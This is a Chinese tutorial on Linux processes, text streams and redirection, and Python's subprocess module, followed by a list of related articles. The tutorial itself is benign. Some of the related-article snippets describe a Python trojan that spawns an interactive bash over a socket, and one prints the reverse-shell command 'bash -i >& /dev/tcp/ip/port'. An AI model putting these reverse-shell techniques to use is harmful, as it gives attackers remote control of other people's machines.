Linux进程

导语

计算机实际上可以做的事情实质上非常简单,比如计算两个数的和,再比如在内存中寻找到某个地址等等。这些最基础的计算机动作被称为指令 (instruction)。所谓的程序(program),就是这样一系列指令的所构成的集合。通过程序,我们可以让计算机完成复杂的操作。程序大多数时候被存储为可执行的文件。这样一个可执行文件就像是一个菜谱,计算机可以按照菜谱作出可口的饭菜。

那么,程序和进程(process)的区别又是什么呢?

进程是程序的一个具体实现。只有食谱没什么用,我们总要按照食谱的指点真正一步步实行,才能做出菜肴。进程是执行程序的过程,类似于按照食谱,真正去做菜的过程。同一个程序可以执行多次,每次都可以在内存中开辟独立的空间来装载,从而产生多个进程。不同的进程还可以拥有各自独立的IO接口。

操作系统的一个重要功能就是为进程提供方便,比如说为进程分配内存空间,管理进程的相关信息等等,就好像是为我们准备好了一个精美的厨房。

查看进程

首先,我们可以使用 p s 命 令 来 查 询 正 在 运 行 的 进 程 , 比 如 ps命令来查询正在运行的进程,比如 ps命令来查询正在运行的进程,比如ps -eo pid,comm,cmd,下图为执行结果:
(-e表示列出全部进程,-o pid,comm,cmd表示我们需要PID,COMMAND,CMD信息)



每一行代表了一个进程。每一行又分为三列。第一列PID(process IDentity)是一个整数,每一个进程都有一个唯一的PID来代表自己的身份,进程也可以根据PID来识别其他的进程。第二列COMMAND是这个进程的简称。第三列CMD是进程所对应的程序以及运行时所带的参数。

(第三列有一些由中括号[]括起来的。它们是内核的一部分功能,被打扮成进程的样子以方便操作系统管理。我们不必考虑它们。)
我们看第一行,PID为1 , 当Linux启动的时候,这个进程是系统创建的第一个进程,这一进程会一直存在,直到我们关闭计算机。这一进程有特殊的重要性,我们会不断提到它。

如何创建一个进程

实际上,当计算机开机的时候,内核(kernel)只建立了一个init进程。Linux内核并不提供直接建立新进程的系统调用。剩下的所有进程都是init进程通过fork机制建立的。新的进程要通过老的进程复制自身得到,这就是fork。

fork是一个系统调用。进程存活于内存中。每个进程都在内存中分配有属于自己的一片空间 (address space)。当进程fork的时候,Linux在内存中开辟出一片新的内存空间给新的进程,并将老的进程空间中的内容复制到新的空间中,此后两个进程同时运行。

老进程成为新进程的父进程(parent process),而相应的,新进程就是老的进程的子进程(child process)。一个进程除了有一个PID之外,还会有一个PPID(parent PID)来存储的父进程PID。如果我们循着PPID不断向上追溯的话,总会发现其源头是init进程。所以说,所有的进程也构成一个以init为根的树状结构。

如下,我们查询当前shell下的进程:


我们可以看到,第二个进程是第一个进程的子进程。

还可以用$pstree命令来显示整个进程树:


fork通常作为一个函数被调用。这个函数会有两次返回,将子进程的PID返回给父进程,0返回给子进程。实际上,子进程总可以查询自己的PPID来知道自己的父进程是谁,这样,一对父进程和子进程就可以随时查询对方。

通常在调用fork函数之后,程序会设计一个if选择结构。当PID等于0时,说明该进程为子进程,那么让它执行某些指令,比如说使用exec库函数(library function)读取另一个程序文件,并在当前的进程空间执行 (这实际上是我们使用fork的一大目的: 为某一程序创建进程);而当PID为一个正整数时,说明为父进程,则执行另外一些指令。由此,就可以在子进程建立之后,让它执行与父进程不同的功能。

子进程的终结(termination)

当子进程终结时,它会通知父进程,并清空自己所占据的内存,并在内核里留下自己的退出信息(exit code,如果顺利运行,为0;如果有错误或异常状况,为>0的整数)。在这个信息里,会解释该进程为什么退出。父进程在得知子进程终结时,有责任对该子进程使用wait系统调用。这个wait函数能从内核中取出子进程的退出信息,并清空该信息在内核中所占据的空间。

但是,如果父进程早于子进程终结,子进程就会成为一个孤儿(orphand)进程。孤儿进程会被过继给init进程,init进程也就成了该进程的父进程。init进程负责该子进程终结时调用wait函数。

当然,一个糟糕的程序也完全可能造成子进程的退出信息滞留在内核中的状况(父进程不对子进程调用wait函数),这样的情况下,子进程成为僵尸(zombie)进程。当大量僵尸进程积累时,内存空间会被挤占。

进程与线程(thread)

尽管在UNIX中,进程与线程是有联系但不同的两个东西,但在Linux中,线程只是一种特殊的进程。多个线程之间可以共享内存空间和IO接口。所以,进程是Linux程序的唯一的实现方式。

关键词

程序,进程,PID,内存空间

子进程,父进程,PPID,fork, wait

Linux 文本流

文本流

在计算机中,所谓的数据就是0或1的二进制序列,但严格来说,Unix以字节(byte)来作为数据的单位,也就是说这个序列每八位(bit)为一个单位。八位的二进制数字,会落在十进制从0到255的范围内。利用ASCII编码,可以把这一个字节转换成为256个字符中的一个。所以,在Unix中,数据完全可以用字符的形式表示出来,也就是所谓的文本(text)。

实际上,如果以位为单位的话,机器会更容易读懂和传输。但Unix系统坚持用字节为单位来表示数据。原因在于,相对于以位为单位的二进制数据,以字节为单位文本直接就人类可读(human readable)。这样的话,无论是计算机配置信息,还是别人写的一首诗,用户都可以直接读懂。当然,并不是所有的数据都是设计来让人读懂的。很多编译好的可执行文件中包含的内容,只有机器能读懂。打开这个文件,尽管也能看到一个个字符,但这些字符并不能组成什么有意义的文本。但Unix系统不会给这种“读不懂”的文件开后门。所有文件都是统一的形式,就能以相同的方法存储,也能共用一套处理工具,从而减少程序开发的难度。

存储文本的文件,就相当于一个个存储数据的房子。在Unix的设计哲学中,一向有“万物皆文件”(Everything is a file)的说法。大部分的文件都对应了存储设备,也就是树莓派的SD卡上的信息。就连表示文件位置的目录,也是一种文件。此外,程序的配置信息,也都存储在文件中。对于Unix系统来说,文件可以广义的认为是可以提供或接收数据的对象。既然这样,Unix系统干脆把提供或接收数据的硬件也表示成文件。这其中,既有外部连接的USB设备,也包括树莓派内部的内存等硬件。在/dev目录下,就可以找到很多这样代表硬件的文件。

但托瓦兹对“万物皆文件”的说法作出过纠正,改为“万物皆文本流”(Everything is a stream of bytes")。系统运行时,数据并不是在一个文件里定居。数据会在CPU的指挥下不断地流动,就好像一个勤劳的上班族。有时数据需要到办公室上班,因此被读入到内存,有时会去酒店休假,传送到外部设备。有的时候,数据需要搬个家,转移到另一个文件。在这样跑来跑去的过程中,数据像是排着队走路的人流,我们叫它文本流(text stream,或者byte stream)。然而,计算机不同设备之间的连接方法差异很大,从内存到文件的连接像是爬山,从内存到外设像是游过一条河。为此,Unix定义了流 (stream),作为连接操作系统各处的公路标准。有了“流”,无论是从内存到外设,还是从内存到文件,所有的数据公路都是相同的格式。至于公路下面是石头还是土地,就都交给操作系统处理,不劳用户操心。

标准输入,标准输出,标准错误与重新定向

当Unix执行一个程序的时候,会自动打开三个流,标准输入(standard input),标准输出(standard output),标准错误(standard error)。比如说你打开命令行的时候,默认情况下,命令行的标准输入连接到键盘,标准输出和标准错误都连接到屏幕。对于一个程序来说,尽管它总会打开这三个流,但它会根据需要使用,并不是一定要使用。

想象一下敲击一个

$ls

键盘敲击的文本流(“ls\n”,\n是回车时输入的字符,表示换行)命令行 (命令行实际上也是一个程序)。命令行随后调用/bin/ls得到结果(“a.txt”),最后这个输出的文本流(“a.txt”)流到屏幕,显示出来,比如说:

a.txt

假设说我们不想让文本流流到屏幕,而是流到另一个文件,我们可以采用重新定向(redirect)的机制。

$ls > a.txt

重新定向标准输出。这里的>就是提醒命令行,让它知道我现在想变换文本流的方向了,我们不让标准输出输出到屏幕,而是要到a.txt这个文件 (好像火车轨道换轨)。此时,计算机会新建一个a.txt的文件,并将命令行的标准输出指向这个文件。

有另一个符号:

$ls >> a.txt

这里>>的作用也是重新定向标准输出。如果a.txt已经存在的话,ls产生的文本流会附加在a.txt的结尾,而不会像>那样每次都新建a.txt。

我们下面介绍命令echo:

$echo IamVamei

echo的作用是将文本流导向标准输出。在这里,echo的作用就是将IamVamei输出到屏幕上。如果是

$echo IamVamei > a.txt

a.txt中就会有IamVamei这个文本。

我们也可以用<符号来改变标准输入。比如cat命令,它可以从标准输入读入文本流,并输出到标准输出:

$cat < a.txt

我们将cat标准输入指向a.txt,文本会从文件流到cat,然后再输出到屏幕上。当然,我们还可以同时重新定向标准输出:

$cat < a.txt > b.txt

这样,a.txt的内容就复制到了b.txt中。

我们还可以使用>&来同时重新定向标准输出和标准错误。假设我们并没有一个目录void。那么

$cd void > a.txt

会在屏幕上返回错误信息。因为此时标准错误依然指向屏幕。当我们使用:

$cd void >& a.txt

错误信息被导向a.txt。

如果只想重新定向标准错误,可以使用2>:

$cd void 2> a.txt > b.txt

标准错误对应的总是2号,所以有以上写法。标准错误输出到a.txt,标准输出输出到b.txt。

管道

理解了以上的内容之后,管道的概念就易如反掌。管道可以将一个命令的输出导向另一个命令的输入,从而让两个(或者更多命令)像流水线一样连续工作,不断地处理文本流。在命令行中,我们用|表示管道:

$cat < a.txt | wc

wc命令代表word count,用于统计文本中的行、词以及字符的总数。a.txt中的文本先流到cat,然后从cat的标准输出流到wc的标准输入,从而让wc知道自己要处理的是a.txt这个字符串。

Linux的各个命令实际上高度专业化,并尽量相互独立。每一个都只专注于一个小的功能。但通过pipe,我们可以将这些功能合在一起,实现一些复杂的目的。

关键词

文本流,标准输入,标准输出,标准错误

cat, echo, wc

, >>, <, |

subprocess

简介

subprocess包主要功能是执行外部的命令和程序。比如说,我需要使用wget下载文件。我在Python中调用wget程序。从这个意义上来说,subprocess的功能与shell类似。

subprocess以及常用的封装函数

当我们运行python的时候,我们都是在创建并运行一个进程。正如我们在Linux进程基础中介绍的那样,一个进程可以fork一个子进程,并让这个子进程exec另外一个程序。在Python中,我们通过标准库中的subprocess包来fork一个子进程,并运行一个外部的程序(fork,exec见Linux进程基础)。

subprocess包中定义有数个创建子进程的函数,这些函数分别以不同的方式创建子进程,所以我们可以根据需要来从中选取一个使用。另外subprocess还提供了一些管理标准流(standard stream)和管道(pipe)的工具,从而在进程间使用文本通信。

使用subprocess包中的函数创建子进程的时候,要注意:

  1. 在创建子进程之后,父进程是否暂停,并等待子进程运行。

  2. 函数返回什么

  3. 当returncode不为0时,父进程如何处理。

subprocess.call()

父进程等待子进程完成
返回退出信息(returncode,相当于exit code,见Linux进程基础)

subprocess.check_call()

父进程等待子进程完成

返回0

检查退出信息,如果returncode不为0,则举出错误subprocess.CalledProcessError,该对象包含有returncode属性,可用try…except…来检查(见Python错误处理)。

subprocess.check_output()

父进程等待子进程完成

返回子进程向标准输出的输出结果

检查退出信息,如果returncode不为0,则举出错误subprocess.CalledProcessError,该对象包含有returncode属性和output属性,output属性为标准输出的输出结果,可用try…except…来检查。

这三个函数的使用方法相类似,我们以subprocess.call()来说明:

import subprocess
rc = subprocess.call(["ls","-l"])


我们将程序名(ls)和所带的参数(-l)一起放在一个表中传递给subprocess.call()

可以通过一个shell来解释一整个字符串:

import subprocess
out = subprocess.call("ls -l", shell=True)
out = subprocess.call("cd ..", shell=True)

我们使用了shell=True这个参数。这个时候,我们使用一整个字符串,而不是一个表来运行子进程。Python将先运行一个shell,再用这个shell来解释这整个字符串。

shell命令中有一些是shell的内建命令,这些命令必须通过shell运行,$cd。shell=True允许我们运行这样一些命令。

Popen()

实际上,我们上面的三个函数都是基于Popen()的封装(wrapper)。这些封装的目的在于让我们容易使用子进程。当我们想要更个性化我们的需求的时候,就要转向Popen类,该类生成的对象用来代表子进程。

与上面的封装不同,Popen对象创建后,主程序不会自动等待子进程完成。我们必须调用对象的wait()方法,父进程才会等待 (也就是阻塞block):

import subprocess
child = subprocess.Popen(["ping","-c","5","www.google.com"])
print("parent process")

从运行结果中看到,父进程在开启子进程之后并没有等待child的完成,而是直接运行print。

对比等待的情况:

import subprocess
child = subprocess.Popen(["ping","-c","5","www.google.com"])
child.wait()
print("parent process")

此外,你还可以在父进程中对子进程进行其它操作,比如我们上面例子中的child对象:

child.poll() # 检查子进程状态

child.kill() # 终止子进程

child.send_signal() # 向子进程发送信号

child.terminate() # 终止子进程

子进程的PID存储在child.pid

子进程的文本流控制

(沿用child子进程) 子进程的标准输入,标准输出和标准错误也可以通过如下属性表示:

child.stdin

child.stdout

child.stderr

我们可以在Popen()建立子进程的时候改变标准输入、标准输出和标准错误,并可以利用subprocess.PIPE将多个子进程的输入和输出连接在一起,构成管道(pipe):

import subprocess
child1 = subprocess.Popen(["ls","-l"], stdout=subprocess.PIPE)
child2 = subprocess.Popen(["wc"], stdin=child1.stdout,stdout=subprocess.PIPE)
out = child2.communicate()
print(out)


subprocess.PIPE实际上为文本流提供一个缓存区。child1的stdout将文本输出到缓存区,随后child2的stdin从该PIPE中将文本读取走。child2的输出文本也被存放在PIPE中,直到communicate()方法从PIPE中读取出PIPE中的文本。

要注意的是,communicate()是Popen对象的一个方法,该方法会阻塞父进程,直到子进程完成。

我们还可以利用communicate()方法来使用PIPE给子进程输入:

import subprocess
child = subprocess.Popen(["cat"], stdin=subprocess.PIPE)
child.communicate("vamei")

我们启动子进程之后,cat会等待输入,直到我们用communicate()输入"vamei"。


通过使用subprocess包,我们可以运行外部程序。这极大的拓展了Python的功能。如果你已经了解了操作系统的某些应用,你可以从Python中直接调用该应用(而不是完全依赖Python),并将应用的结果输出给Python,并让Python继续处理。shell的功能(比如利用文本流连接各个应用),就可以在Python中实现。

关键字

subprocess.call, subprocess.check_call(), subprocess.check_output()

subprocess.Popen(), subprocess.PIPE

Popen.wait(), Popen.communicate()

subprocess理解相关推荐

  1. 简单理解socket(socket.AF_INET,socket.SOCK_STRE,os.dup2(s.fileno(),0),subprocess.call([“/bin/bash“,“-i“])

    前言:因为最近学习渗透时,使用python编写了一个木马,但是对里面的函数/方法功能并不了解,于是查阅资料,总算有了一定了解,于是记录下来 木马文件如下: import socket,subproce ...

  2. linux下几种反弹Shell方法的总结与理解

    实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...

  3. python asyncio理解_我实在不懂Python的Asyncio

    这是Flask,Sentry的作者Armin Ronacher的一篇博客,这篇文章的影响很大,后来asyncio的文档重写就是受这篇文章影响.这篇文章写于2016.10.30.而Asyncio的一个重 ...

  4. 【Python】 子进程创建与使用subprocess

    subprocess *****本文参考了Vamei大神的http://www.cnblogs.com/vamei/archive/2012/09/23/2698014.html 运用subproce ...

  5. python 调用shell 不阻塞_遇到问题---python调用shell脚本时subprocess.check_call不阻塞

    遇到的问题 使用命令 subprocess.check_call(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) ...

  6. python3 rid1.7.4.2 控制台中文乱码_TL;DR - 有关 Python 2 和 Sublime Text 中文 Unicode 编码问题的分析与理解...

    TL;DR 问题背景: 相信很多用 Sublime Text 来写 Python 2 的同学都遇到过以下这个问题(例如这位同学 /t/100435 和这位同学/t/163012 ): 在 Sublim ...

  7. 基本模块 time datetime randon os sys subprocess 打印进度条

    ## 基本模块一 .time python中常用几种时间方式:1.时间戳:从1970年1月1日零时零分零秒开始计算,time.time(),得到的是个浮点数常用于计算时间2.格式化字符串:time.s ...

  8. subprocess用法,官方文档

    摘自:http://li2z.cn/2010/04/14/python_subprocess/ 此文和python 内建函数一样,内容全部出自python官方文档,但是会 有自己的理解,并非单纯的翻译 ...

  9. 《Python 源码剖析》一些理解以及勘误笔记(3)

    以下是本人阅读此书时理解的一些笔记,包含一些影响文义的笔误修正,当然不一定正确,贴出来一起讨论. 注:此书剖析的源码是2.5版本,在python.org 可以找到源码.纸质书阅读,pdf 贴图. 文章 ...

最新文章

  1. 4412 GPIO读 和 ioremap控制GPIO寄存器
  2. C++实现堆栈stack(附完整源码)
  3. art-template入门(四)之调试
  4. PyTorch 1.0 中文文档:torch.sparse
  5. 准备入行Web前端,又担心适不适合,怎么办?
  6. python程序如何执行死刑_「Python基础知识」Python生成器函数
  7. loadrunner四大部分
  8. 【解决方案】GB28181/RTSP/Onvif/HikSDK/Ehome协议视频共享平台EasyCVR人脸识别助力打造智慧安检
  9. 计算机如何删除用不到的打印机驱动程序,win7卸载不了打印机驱动怎么办
  10. OSI七层网络协议归纳
  11. 游戏研发人才学校培养、企业需求与个人快速成长,华科校友分享了这些实用观点
  12. vb rs.recordCount=-1的解决办法
  13. Flash Player教育版是什么?和普通版有何区别?
  14. 10大H5前端ui框架,ui让你开发不愁
  15. 电影推荐之《哈利波特与阿兹卡班的囚徒》 隐私策略(Privacy policy)
  16. element上传图片校验尺寸
  17. .podSpec文件相关知识整理
  18. 一个人知道自己为什么而活,就可以忍受任何一种生活
  19. cadence 批量一次性修改title 页码标题等
  20. intellij idea 2016 注册码

热门文章

  1. JAVA毕业设计计算机专业招聘网站计算机源码+lw文档+系统+调试部署+数据库
  2. 圣斗士星矢战记Hackingの笔记1:模型破解
  3. 36氪首发|「优仕美地医疗」获亿元级B轮融资,要打造日间手术机构的连锁服务网络...
  4. uniapp结合uView组件库做项目中遇到的系列问题(一)
  5. 人机工程学产品设计案例_儿童产品设计的那些原则【北京新易设计坊】
  6. python3视频教程推荐_《Python3从入门到放弃》视频教程
  7. 【华为上机真题】相对开音节
  8. 最新的SpringCloud(H版Alibaba)技术(11-12初级部分,网关【Gateway】)
  9. 360 apm框架Argus源码解析(1)——开始
  10. 360和QQ,拿什么来拯救你?